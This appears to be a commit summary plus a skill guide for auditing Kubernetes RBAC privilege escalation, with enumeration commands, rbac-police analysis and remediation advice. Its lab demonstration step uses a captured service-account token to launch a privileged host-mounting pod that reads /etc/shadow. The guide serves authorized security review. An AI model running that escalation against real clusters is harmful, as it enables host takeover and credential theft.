Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):
- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
invocation, guardrails, model/data poisoning, system-prompt leakage,
embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration
Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
11 KiB
name, description, domain, subdomain, tags, version, author, license, nist_csf, mitre_attack
| name | description | domain | subdomain | tags | version | author | license | nist_csf | mitre_attack | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| auditing-kubernetes-rbac-privilege-escalation | Find over-permissive RBAC roles and service-account token abuse paths in Kubernetes using kubectl auth can-i, rbac-police, kubectl-who-can, and rakkess during authorized cluster security reviews. | cybersecurity | container-security |
|
1.0 | mahipal | Apache-2.0 |
|
|
Auditing Kubernetes RBAC Privilege Escalation
Legal Notice: This skill is for authorized security testing and educational purposes only. Enumerating and exercising RBAC permissions affects a live cluster's access posture. Only test clusters you own or are explicitly authorized in writing to assess.
Overview
Kubernetes Role-Based Access Control (RBAC, MITRE ATT&CK T1078 Valid Accounts) governs what every user and service account may do via Role/ClusterRole rules bound by RoleBinding/ClusterRoleBinding. Because workloads run with a mounted service-account token by default, an attacker who compromises one pod inherits that account's RBAC rights. Over-permissive bindings turn a single compromised pod into a cluster takeover: certain verbs and resources are "RBAC-equivalent to cluster-admin."
Per the Kubernetes "RBAC Good Practices" guidance and Unit 42 research, the dangerous primitives are:
escalateon roles — grant yourself any permission, even ones you do not hold.bindon clusterroles — create a binding tocluster-admin.impersonateon users/groups/serviceaccounts — act as any subject includingsystem:masters.create/update/patchonpods— schedule a privileged pod or mount the node, escaping to the host (T1611).createonpods/exec,pods/attach,pods/ephemeralcontainers— run code in any existing pod.get/list/watchonsecrets— list returns full secret contents, including other service-account tokens.createonserviceaccounts/token— mint tokens for more privileged accounts.update/patchonvalidatingwebhookconfigurations/mutatingwebhookconfigurations,nodes/proxy,certificatesigningrequests/approval— admission/CSR abuse to cluster-admin.- Wildcards (
verbs: ["*"],resources: ["*"]) — implicit super-privilege.
This skill systematically enumerates effective permissions for every subject, maps which subjects hold these escalation primitives, and produces remediation evidence. Source: Kubernetes RBAC Good Practices; Unit 42 Kubernetes RBAC research.
When to Use
- During an authorized Kubernetes security assessment or cluster penetration test
- After compromising a pod, to determine what its service-account token can reach
- When reviewing RBAC drift before a production go-live
- When validating least-privilege after a platform migration or Helm rollout
Prerequisites
kubectlconfigured against the target cluster (your own credentials, or a captured service-account token)- Read access to RBAC objects (most audits run with a cluster-reader or admin context)
- Audit tooling:
# rbac-police - find escalation paths (Cymulate) curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police chmod +x rbac-police # kubectl-who-can - which subjects can perform an action (Aqua) kubectl krew install who-can # rakkess - access matrix of resources x verbs for the current/another subject kubectl krew install access-matrix # rbac-lookup - which roles a subject has (FairwindsOps) kubectl krew install rbac-lookup
Objectives
- Inventory all
Role,ClusterRole,RoleBinding, andClusterRoleBindingobjects - Enumerate effective permissions per subject using
kubectl auth can-i --as - Identify subjects holding RBAC-equivalent-to-admin primitives
- Trace token-mounting pods to over-privileged service accounts
- Demonstrate (in a lab) one escalation path end-to-end
- Output a prioritized findings report with least-privilege remediation
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|---|---|---|
| T1078 | Valid Accounts | Defense Evasion / Persistence / Privilege Escalation |
| T1098 | Account Manipulation | Persistence |
| T1528 | Steal Application Access Token | Credential Access |
| T1613 | Container and Resource Discovery | Discovery |
| T1611 | Escape to Host | Privilege Escalation |
Workflow
Step 1: Inventory RBAC Objects
# All roles and bindings, cluster-wide
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide
# Dump full RBAC for offline analysis
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
--all-namespaces -o yaml > rbac-dump.yaml
# Who is bound to cluster-admin?
kubectl get clusterrolebindings -o json | \
jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
.metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'
Step 2: Enumerate Effective Permissions per Subject
kubectl auth can-i is the authoritative check because it evaluates the live authorizer (RBAC + webhooks). Use --as to impersonate a subject (requires impersonate rights for the audit identity).
# Full access matrix for a service account
kubectl auth can-i --list \
--as=system:serviceaccount:default:default
# Targeted dangerous-permission probes
kubectl auth can-i create pods --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
--as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
--as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
--as=system:serviceaccount:dev:builder
# rakkess full verb x resource matrix for a subject
kubectl access-matrix --as system:serviceaccount:dev:builder
Step 3: Hunt the Escalation Primitives
# Who can perform each dangerous action across the cluster?
kubectl who-can create pods
kubectl who-can '*' '*' # wildcard god-mode holders
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings # bind-style escalation
# grep the raw dump for escalate/bind/impersonate verbs and wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml
Step 4: Run Automated Escalation-Path Analysis with rbac-police
rbac-police evaluates Rego policies over a cluster snapshot to surface principals that can escalate to cluster-admin and the exact path.
# Run all built-in escalation checks (needs a kubeconfig with read access)
./rbac-police eval ./lib/policies/
# Only the privilege-escalation policy, severe findings as JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json
# Collect a snapshot first (offline analysis / air-gapped review)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json
Step 5: Trace Pods to Over-Privileged Service Accounts
A finding only matters if a reachable workload mounts that token.
# Map every pod to its service account
kubectl get pods --all-namespaces \
-o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'
# Find pods that auto-mount tokens (the default) tied to risky SAs
kubectl get pods --all-namespaces -o json | jq -r '
.items[] | select(.spec.automountServiceAccountToken != false) |
"\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'
# rbac-lookup: what does that service account actually hold?
kubectl rbac-lookup builder --kind serviceaccount
Step 6: Demonstrate an Escalation Path (Lab Only)
Example: a service account with create pods and access to a node can schedule a privileged pod that mounts the host filesystem.
# Using a captured token, target the API server directly
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
# Confirm the dangerous right
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
auth can-i create pods
# Schedule a privileged host-mounting pod (proves node/host takeover)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
--insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
containers:
- name: x
image: alpine
command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
securityContext: {privileged: true}
volumeMounts: [{name: host, mountPath: /host}]
volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc # host /etc/shadow proves escalation
Step 7: Report and Remediate
# Generate a least-privilege-violation summary
kubectl get clusterrolebindings -o json | jq -r '
.items[] | select(.roleRef.name=="cluster-admin") |
"FINDING cluster-admin bound to: " +
((.subjects // []) | map(.kind+":"+.name) | join(", "))'
Remediation: replace wildcards with explicit verbs/resources; remove escalate/bind/impersonate unless required; set automountServiceAccountToken: false on workloads that do not call the API; scope Role (namespaced) over ClusterRole where possible; use aggregationRule carefully.
Tools and Resources
| Tool | Purpose | Source |
|---|---|---|
| kubectl auth can-i | Authoritative live permission check (--list, --as) |
https://kubernetes.io/docs/reference/access-authn-authz/authorization/ |
| rbac-police | Rego-based escalation-path analysis | https://github.com/PaloAltoNetworks/rbac-police |
| kubectl-who-can | Reverse lookup: who can do X | https://github.com/aquasecurity/kubectl-who-can |
| rakkess (access-matrix) | Verb x resource matrix per subject | https://github.com/corneliusweig/rakkess |
| rbac-lookup | Roles a subject holds | https://github.com/FairwindsOps/rbac-lookup |
| Kubernetes RBAC Good Practices | Authoritative escalation primitive list | https://kubernetes.io/docs/concepts/security/rbac-good-practices/ |
Dangerous RBAC Primitives Reference
| Verb / Resource | Why It Is Cluster-Admin-Equivalent |
|---|---|
escalate on roles |
Grant self any permission |
bind on clusterroles |
Bind self to cluster-admin |
impersonate users/groups |
Act as system:masters |
create pods (+ node access) |
Privileged/hostPath pod -> host takeover |
create pods/exec,pods/attach |
Run code in existing pods |
get/list secrets |
Read all tokens & credentials |
create serviceaccounts/token |
Mint privileged tokens |
*/* (wildcards) |
Implicit super-privilege |
Validation Criteria
- All Role/ClusterRole/Binding objects inventoried and dumped
- cluster-admin subject list enumerated
- Effective permissions enumerated per service account via
auth can-i --list - All dangerous-primitive holders identified (escalate/bind/impersonate/secrets/pods)
- rbac-police escalation paths reviewed
- Token-mounting pods mapped to risky service accounts
- At least one escalation path demonstrated in a lab
- Findings report with least-privilege remediation produced
- All testing stayed within authorized scope